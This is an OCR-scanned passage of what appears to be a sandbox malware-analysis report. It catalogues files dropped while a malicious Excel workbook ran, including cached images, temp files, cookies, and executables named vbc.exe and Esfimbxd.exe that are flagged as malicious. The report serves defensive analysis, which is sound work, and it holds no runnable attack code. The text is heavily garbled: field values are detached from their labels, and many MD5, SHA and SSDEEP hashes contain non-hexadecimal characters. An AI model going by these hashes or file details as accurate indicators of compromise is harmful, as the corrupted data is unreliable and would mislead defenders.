B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICFSECE43A82BD8F06383876B24
56

false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0O\223D2912.png

Preview:
PNG........ IHDR..X... 2.0 200 _PLTE s Joo K >Jg.....h.mo [N gjG.9\LC....
...... UK eI 4+ e A H?>. DG tRNS.@..f...0IDATx..Z.s.4.].".F..Y.5.4]..WhiM..]Cv.Q......e.
X.oo.~X.0.%K. ... X.....brG..sW:~g.Tu...U.R..W.V.U#TAr?..?}.C3.K...P..n..A..av?C..J.}.e.]...CA._y.. 2/NZ2.0.@......)...s.(...ey.....{)e.*\-.yG2Ne.B...\@q....8....W./i
.C.P*.0.e.7./.k.t.. ]" J..F..y.....0°.3.0.)..Z..tR.bU]BY..RI"R...D.*..... =(tL.W.y....n.\.s..D.5.....c....8A....;;.)..].a]...;BO...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.
t..q..5....f.h......DPyJ* Koo v E%I.CL V.2 M07.V..0. ....3..E3J8CL.Z.1.GI.).RIb

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\2C0E7215.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 10202

Entropy (8bit):  7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBF046X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd

MDS5: 66EF10508ED9AE9871D59F267FBE1SAA

SHA1L: E40FDB09F7FDAG9BDI95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4ACD3E3C2C97B50DDAC4800B90DDBA35F1EO0E16C149A006FD

SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3!
Malicious: false

Reputation: unknown

Preview:

. PHYs.......... 0.d..'0IDATX".k...u.D.R.b\J"Y.*.".d.|pg..2.r,.U.#.)F.K.n.).J1)."...T... JH. L A<LKLDQM ](RL.>.s. tw.
> U..>sl NP ZHBY < [..@]......... Z ELY <Y X O M...M..nte S ‘'0..kh.0./.3.7.V...@t. Xoor~ APW.L.@...ATDLO./N.
Ah.....D....M..B. a}aalm...D ..... M..B..a}a.a......... Alh.0....P41..-........ &L X (e e.a.+.|UtU_ ... 2un.....F7[.z.2...&.gF}} L+ dwe~Aw... V... B, W.5. Py...>
[....0.t.6U<.@.....qE9.NT.u...".AY.?..Z<.D.t..HT..A....8.)..M..K\...v..."..A..2.N.Z<.D.t.Htn.0.s0O...0.wF.. W.#H...Ip....h...| . V+Kws2/.....W*....Q.,...8X.)c...M..H.|.h.0....R..
.Mg!..B..x..;....Q.5........ m.; Q/9 .e"{Y.P.1x..FBL..C.G......41........ @t@W......Bl.n.b..w..d...KE..&.%I|.4SBt.E?.m...eb*?...@.....a :.+H..Rh..

C:\Users\luser\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\2F2BFAF0.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 14828

Entropy (8bit):  7.9434227607871355

Encrypted: false

SSDEEP: 384:zI1Z2YVvfv3ZOxvHe5EmMIbliA2rI BMWWTXRRO/QX:Td3Z46xiXzW/kO

MD5: 58DD6AF7C438B638A88D107CC87009C7

SHA1L: F25E7F2F240DC924A7B48538164A5B3A54E91AC6

SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CACABA453A

SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80°

Malicious: false

Reputation: unknown

Preview:
PNG.......IHDR............. L. .IDATXA.gp\.y>~v...WTb ...... 1.M.H...d.J..3.8.(L&IM.d.0..$..q.D.I.....k,J.b3%QD!.Bt,......... p ...... X?"...{.90..W.q.Y.gM.g=.5"dm.V..M...iX..
6....9=.R(.N"0&.I(..B2.\...| t.... ..J..QU...F.I.B\..B.Z-....D")..,.d....U.L#.... AP.i.l..3.UL..RL.9.....~. Je,...l...(.CCC...v....al6KQ...000...d.fxx..k "...5.
NAS.N..e2............ b..7.8@. tgg} Ue7 .G .".J.d2)..BIM..r..T*Q.%. X 2.*.abbB*..j\J.(b.cee >, R...L&.X.eYV"..- R)B.T*M&..pX*.Z..9..F.
Z.6...0\1%..~..).B<.T*2z.D"..(..\...d2YKKK...mm.T*.|.T* I$.x<..J....*. X.0>..C.d2. ...t #e XKk B.(....D .8..t:..0>....VC%MNN}.ZHZ...". T.......A....I5.q.\f....eY..8.+..
dd.b.X, . BH.T..4-. X.EV.|&.p......0.P(J\>66.a.X,..><<..V.R.T*..d2.v..W.511.u.a.........zKk. m.t]__...g9g.0.....c...... Y.z.a..{.%H.f .nw*. ... ND".P(D".. H.
|>/.Hd2....EQ.

C:\Usersluser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\45729866.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 19408

Entropy (8bit):  7.931403681362504

Encrypted: false

SSDEEP: 384:6L3VdodyxL8FNgQ9jYtUO5Zn4tlQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTs6EJIL

MD5: 63ED10CI9DF764CF12C64E6A9A2353D7D

SHAL: 608BE0D9462016EA4F05509704CE85F3DDC50E63

SHA-256: 4DAC3676FAA787C28DFA72B80FES542BF7BES6AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4AEAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EF01A98CF6C585D439B4A

Malicious: false

Reputation: unknown

Preview:
PNG........ IHDR............. L.L.. IDATxX..g.].y&X"..{;.t@F. .. .D*Q.el..#[.5~IK3...z.3.gw...".=.FV..%..d..%R..E......F.ts<.X.f.F.5]..s..UuW.U.....9..A.ul...gw.....IX...pG..2..
x.w.LowpG..2.x.w.l...ma>....R... XJU[LA....].Y.L.L...]JAQ.h4... x..\6....].i..]..Q..(...C..A.Z... (.f4..u=..0.D.0j....y6..... )l....... G{zn.M,..?#..,...]....y...G.LOO..?....7..-
S M q.O}..G... 3g..[0..x...]..../[F....0.._]...?2.0........c.X._.7vF..0.....B>.... {..V....P(.....c.....4...s.. K.K."c(.....}.0....... _z. y<<oL< ATk

FW~.Co_on B W~ _Wp...q........ G.vVADE...."..? Jnvv. AN42 5L.Q(.$.. (vidd. 8......y.Z{..L.~.. k...z...@@0...Bk..?.r..7..9u..w>w.C..j.n.a.V.?.?..e
s#.G...1.&l..)..).J.>. +MnAW.._...D.."}.k....8.N_.v..>y.@0.. [I......... > z ] /3....2.z.9.Z...I0LS...._.I.r
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C705233.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 600 x 306, 8-bit colormap, non-interlaced

dropped

42465

7.979580180885764

false
768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+
C31D090D0B6B5BCA539DOE9IDBOC57026

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEE6E6E286714FD267EO0F6AC74BCA9ACE469F4983C3EF7168C65182C8D

B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICF8ECE43A82BD8F06383876B24
56

false

unknown

home I gjG.9\LC....
.Y.5.41..WhiM..]Cv.Q......e.
)...s.(..ey....{)e.*\-.yG2Ne.B...\@q....8.... W./i
)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.

o .3..g.)..Z...tR.bU.].B.Y...Rl".R .
E%i..C.V.\.....z r7.V...q.....3..[E3J8Ct.Z..GL).RIb

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\63F1FDB9.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

dropped

14828

7.9434227607871355

false

384:z1ZYVvfv3ZOxvHe5EmIbliA2r1BMWWTXRRO/QX: Td3Z46xiXzW/kO
58DD6AF7C438B638A88D107CC87009C7
F25E7F2F240DC924A7B48538164A5B3A54E91ACE
9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CACABA453A
C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80

false

unknown

..{:90.W.q.Y.gM.g= 5"dm.V..M...iX..

..... L.l.. IDATX..gp\.y>~V..WTb... ...M.H...d.J..3.8.(.L&IM.d.0..$..q.D.I.....
AG.B2.\ R.T....... J..Q.U...F.lL.LB\.B.Z-...D")..,.J....u.1#... AP.i
b..7.8@.tgg.}..Ue7..e.G .".J.d2)..BIM..r..T*Q.%..X q\.E"
\...d2YKKK...mm.T*.|.T*..I1$.x<..J..q..*.J .X..0>...C.d2.JI.
0.P(.J\>66.a.X,..><<...V.R.T*..d2.;

k,J.b3%QD!.B,...

R L& XeYV ~.R)B.T*M&..pX*,.Z..9.. F
ST ALLSg N eY L8t
‘ND"...P(D"... .H.

.dd.b.X,.BH.T..4-. . X.EV.|&p
[>/.Hd2.... EQ.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6CA75E31.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

dropped

19408

7.931403681362504

false
384:6L.3VdodyxL8FNgQ9jYtUO5Zn4tlIQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXNnYfTS6EJIL
63ED10CI9DF764CF12C64E6A9A2353D7D

608BE0D9462016EA4F05509704CE85F3DDC50E63
4ADAC3676FAA787C28DFA72B80FES542BF7BES6AAD31243F63E78386BC5F0746B3
9C633C57445D67504E5C6FE4AEAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7TEF01A98CF6C585D439B4A

false

unknown

19, .A.u..gw....Ix.pG.2.
. e .y...G.LOO..2....7..-
4 S.. KK 'c(.....}+.0. Lhys<ia<l ATk
.Z....@@0...Bk..?.r..7...9u.. W>WC.]n a.vVe.2.e
JOLS..._r

- IDATX.g]y&X...{t@F. .. D*Qeel. #[5-IK3.. 2.3.gW.." =;.FV.%.d. %R..E

s#.G I&I))J> +Mn"W .2z, gZ

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87D4A964.png

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced
dropped

6364
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87D4A964.png

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

7.935202367366306

false
192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfjTeDEGXDR
ATE2241249BDCCOCE1FAAF9FAD5C32AF
3125EA93A379A846B0D414B42975AADB72290EB4
EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT2277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

false

unknown

.PNG.......IHDR...R..
.MEJA$G.T.AJJ.n....0. .B..g=...{.51..]gz.Y.._.3K.y...
.3...ee..WI...E&6.\]..'K...x.0..%.EE..".. }..[c...2n..R..V.USLRt..-xw*.... #..._...L..KI"
{Mu3.yX...\...5.a.zNX.9.. ..QU.r .gZ...&4{....$..".Lu..]Zz" 1 k[.2.3...H.../..K7.1>y.D..._X..oeoune ]....). k. .F@PIf...9..K>.{.}..h9.b.h.. .w.. A~ u.j.
9..x..C=.3J.h...K2.... ../l.=3C.6k.]..JD.....tP.e..-+*. }.\Yrss4.. .if. A7l..uM...v.uY_V[].-Oo........... _s@c.... [ [R7T>MS.{.W.iV..UR..SJ.hy.W3..2Q@¥f......,.....

H

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\91A998F7.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

498420

0.6413661712222065

false

384:JaXXwBKNWZ3cJuUvmWnTG+W4DJ8ddxzsFfW3:iXwBkNWZ3cjvmWa+VD4
F96901EFA79806B7A63CB80DF2F6D2F7
CBC4CA54543CE6CB90192C518ABEOC18F631BB24
66A2663CC2CDADBAIAFSDB4E11C40CBE93586DDD10F59D958B461D54FF2E8D4B

163F3ED88BEAOEG3BI0OCBAE2731D7AC67907541367FAGEC96FABB4DAL3E24F9597EEFCOF007658435247D6AEF503A2A2DA2CFEGCFAA3723DD841430048B0531
2

false

unknown

@...8y..
6..F...F..F.EMF+@.$.......... ?

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A96F7E98.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

dropped

68702

7.960564589117156

false
1536:Hu2p9Cy+445sz12HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9w1HCIOTKEhQw
9B8C6AB5CD2CC1A2622CC4BB10D745C0
E3C68E3F16AE0A3544720238440EDCE12DFC900E
AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FED
407F29E5F0C2F993051E4B0OC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71!

false

unknown

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C310251D.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

dropped

6364

7.935202367366306

false
192:joXTTTt+cmceZjbF/z2sA9edixFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfjTeDEGXDR
ATE2241249BDCCOCE1FAAFIFAD5C32AF

Copyright Joe Security LLC 2021 Page 18 of 40



C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C310251D.png

SHA1L: 3125EA93A379A846B0D414B42975AADB72290EB4

SHA-256: EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

SHA-512: A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

Malicious: false

Reputation: unknown

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EBAE2E8C.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 11303

Entropy (8bit):  7.909402464702408

Encrypted: false

SSDEEP: 192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIBswpJuaUSt:ODy31IAjObL/EKVIKVFgFgeUUjOmMJIN

MD5: 9513E5EF8DDC8BODIC23C4DFD4AEECA2

SHA1L: E7FC283A9529AA61F612EC568F836295F943C8EC

SHA-256: 88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

SHA-512: 81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
D

Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F670707A.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit):  7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBF046X6nPHVGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b7401ylZ+c5xIYF5Sgd7tBednd
MD5: 66EF10508ED9AE9871D59F267FBE15AA

SHA1L: E40FDB09F7FDAG69BD95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1EO0E16C149A006FD
SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3!
Malicious: false

Reputation: unknown

Preview:

. PHYS oo 0.d..'0IDATX"K...u.D.RO\I"Y *".d.[pg..2.1, UA4)F.KN).IN. T O H, A< KL.DQ™ L(RI.> 5. t.w.
> U Sl LA P ZH3Y o S, @[ Z B Y Y Xers O MM X ) '0.kh.0./.3.7.V...@L....... X.....~..A.2W....@...A]n.0./.N.
Ah....D....M.B.a}a.aim.D...M.B.a}aa.....AN0...PAL . ...&. ! X (€@ 1 LULU_ oo 2un.....F7[2.2..&.qF} b L+ . JW.~AW....V.-....B, W.5.Py...>
[...0.t.6U<.@....qE9.NT.U... .AY.2..Z<.D.t..HT.A....8). M..k\.v... .A..2.N.Z<.D.t HN.0.SO...0.WF.. W.A#H. .Ip....h...[ V+KWS2/.....W*....Q.,...8X.)c...M..H.L.h.0...R..
Mgl..B.. X Q.5 .ML.Q.9..€"Y P 1X..FBL...C.G.....41........@1@W......B/.N.D..W..d... KE..&.%].4SBLE?..m...eb*?....@.....a . +H...Rh..

C:\Users\user\AppData\Local\Temp\~DF1F4199F045677C2D.TMP

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHAL: 5C3EB80066420002BC3DCC7CA4AB6EFAD7EDAAES

SHA-256: 076A27C79E5ACE2A3D47F9DD2ES3E4FF6EA8872B3C2218F66C92B89IB55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0CEED34|
FE
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C:\Users\user\AppData\Local\Temp\~DF1F4199F045677C2D.TMP

Malicious: false
Reputation: unknown
Preview:

C:\Users\luser\AppData\Local\Temp\~DF51E441C32721FD9B.TMP

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: CDFV2 Encrypted

Category: dropped

Size (bytes): 234568

Entropy (8bit):  7.970277132047898

Encrypted: false

SSDEEP: 6144:tsgYFviP6CH/BNhEIUBJ5D48yEVS2dsgUmOrdkUigF:tsg+iPhZz8BDM8yEdsvmOrdix

MD5: 0B1244570453CC560192BO0E942239E9

SHA1L: 6CE2F17A9FFB5640D69D07C71A5F2711482567FD

SHA-256: 53EA97DE19540A414997E31C383830B6FF1A5FB7120C1BF7CCF493280BC22B3D

SHA-512: 033105E669FB7DACOE8F58E5671D064571248CF10B3AA760FE13FE6A102ECA406F0E171936404AE289887E040CA71A734ECFBDD40585C0F487AFEDB37D8C7DA
A

Malicious: false

Reputation: unknown

Preview:

LE..F.G..H.

C:\Users\luser\AppData\Local\Temp\~DF777BC58B4F67ADCE.TMP

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHAL: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES

SHA-256: 076A27C79E5ACE2A3D47FIDD2ES3E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0C6ED34!
FE

Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Temp\~DFC4802C35D02901B3.TMP

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHAL: 5C3EB80066420002BC3DCC7CA4AB6EFAD7EDAAES

SHA-256: 076A27C79E5ACE2A3D47F9DD2ES3E4FF6EA8872B3C2218F66C92B89IB55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0CE6ED34|
FE

Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\CPCISP5R.txt
Process: C:\Users\user\Esfimbxd.exe

File Type: ASCII text
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C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\CPCISP5R.txt

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:
|IE Cache URL:

Preview:

downloaded

64

4.0692986335525285

false
3:vpgMLIUQ2kRSzqcEPRVWVk+:VEMWXY SWcEP9a
5E66E99E1F928AADEB1D14DD38257B45
24D8DD2D660810CF7C42245743A142232839419D

8CD74F1FDB5CC86655A9FC7A8B3344409849DD6BECD02AD1927710D7DB5FFDOF

4E7EOECB96C748B07DF7C9DE220D2FBFB32ACBE29CE429830F4C04B63EEE212311A8C4B48E494F2C5B27F1D3549EA852AD1AC278053332AC4E9C6ECOA54951

58
false
unknown

live.com/

wla42..live.com/.1536.2474740864.30928166.2191146019.30926834.*.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Cookies\JO21DJRW.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\Public\vbc.exe

ASCII text

dropped

64

4.144247562960808

false

3:vpgMLIUQ200McEPh+Vi:vEMWX6CEPhYi
A1691D21925860261518736340201B37
572D6D42F2B12FFE544248A36EEF40CF9692298E

200BAD03A1C9923758EAEAOSEB2E273B0ES2799E78638C043D04271DDE373665

2E385943A612009C374BDC67AC13300C65B4E76A38C4493BE238A1B5E8BD99EBB710D776FA2B506270C1BB30E359851984AA413E61A1C17B012659F2173D6044

false

unknown

wla42..live.com/.1536.2074740864.30928166.1795968585.30926834.*.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Cookies\NJZOW13E.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\NKHECAS8Y .txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\Public\vbc.exe

ASCII text

dropped

64

4.125196298134657

false
3:vpgMLIUQ2q0zgcEPnchfcy:vEMWXpWCcEPNCc1x
562FESEBEAOEO058E299AA3B2CA3DB75
43431306BA1AE4F8A491E9259539EAD2DCAA4FF9

7DF4912DEAS50DC8EF5D592FA480A40EA61D8F24B91DDEF95CDICEF12F833D1BB

57F92957D57711825EC63215937004243157A9149E7298F527146EEAE7810708B8D0424C918DD190D004C2C04CA404F98066C09210386F42DF0429BC2402FEL0

false

unknown

wlad2..live.com/.1536.2054740864.30928166.1771977214.30926834.*.

C:\Users\user\Esfimbxd.exe

ASCII text

dropped

64

4.050247368726378

false

3:vpgMLIUQ2LR4cE6ISX:VEMWXLgcEEa
55F6C47F852D6F92BCBE44702F23C6FE
328ABF7269C59BF8E81C7215D9EAF1IBIBEA92AFS

3D6C19DB5C286CA48F335F52B17DC5D990A177A49A7A71B8ASABC2ACEBC12F70

1AAE9B6E4E60F1632750C8615811970BC58C0827F5223EAB2F3BEAF512169149CF6C02DF8A11A8124E496F7091B9B2A5C2F3F779850F5C05D85A04452F 778061

false

unknown

wla42..live.com/.1536.2364740864.30928166.2088069734.30926834.*.
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Cookies\OP1SUUSL.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Esfimbxd.exe

ASCII text

dropped

64

4.048283352803366

false

3:vpgMLIUQ2FV4cEkvW2y:VEMWXYCEmMW2y
208ACAD208C0486AD2B3140AFF3DF698
C47576AE3510792CC5367AA56D3BCD64A612249A
48E8FDFA4719D01A7F0716FBF32655D9689F5BE1FF50DEA460C5AD7B859319F7

503C0A33AB7A4EDAG0522A0C69D1ES5A4E11AD001911390DA0B2905D9A37D4A3DAB680ACBFEA49FF81929E208C3ED1E15C54D290142EE9COFBODAEFBASDD2A
8C

false

unknown

wla42..live.com/.1536.2344740864.30928166.2065568641.30926834.*.

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Cookies\W5JQB4WQ.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Users\user\Esfjmbxd.exe

ASCII text

dropped

64

4.063853078152579

false

3:vpgMLIUQ2gRbcEux+vPi:vEMWXUbcEux+vPi
E15DBCE12E1717755F97D4AFOE777A01
A29359F64585F9C664E4E03534B64E169F26A2BD
A0743335A590F50652D917CE58B07BA5851A3B8BEODDB3FIDE3EEE84B8CBA290
AD593EB4F100176466D2A8F83F57986897B0A9A2125D1AEC5AAC54BD55868C6B917F78E87CA93D0845A07380A01E87A9349283AC1EB8BFI83006F34E0E23F6398
false

unknown

wla42..live.com/.1536.2434740864.30928166.2157644201.30926834.*.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

data

dropped

165

1.4377382811115937

false

3:vZ/FFDIwW2fV:.vBFFGS

797869BB881CFBCDAC2064F92B26E46F
61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185
1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCESBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F58!1
true

unknown

.user LALDUS.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\Public\vbc.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

697856

6.715012052682817

false

12288:CIEpAb3iVUYfqUe+L7IMIbv7fkgD8BcFcePyaW:CI8G3DYfq9+hMNTM08Chm

7D68426EC31E1BC7C5E12A9E23837173

A477TAE983254FE49643E050EA426439378F81D43

7195589BA87F4B77BC10AF665070180CF807FF7D2F8198743248EDDA2E85B6AS5
E8997369F3ADE98C449ED070094F253E6BDEF6B7D541420C2F63C82CB47A8739E57CDA4DF3A0F7E7B55A673795D665367D2AE36DA40ADEFF69016298960E737

true
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Antivirus:

Reputation:

Preview:

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 36%

unknown

C:\Users\user\dxbmijfsE.url

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Yara Hits:

Reputation:

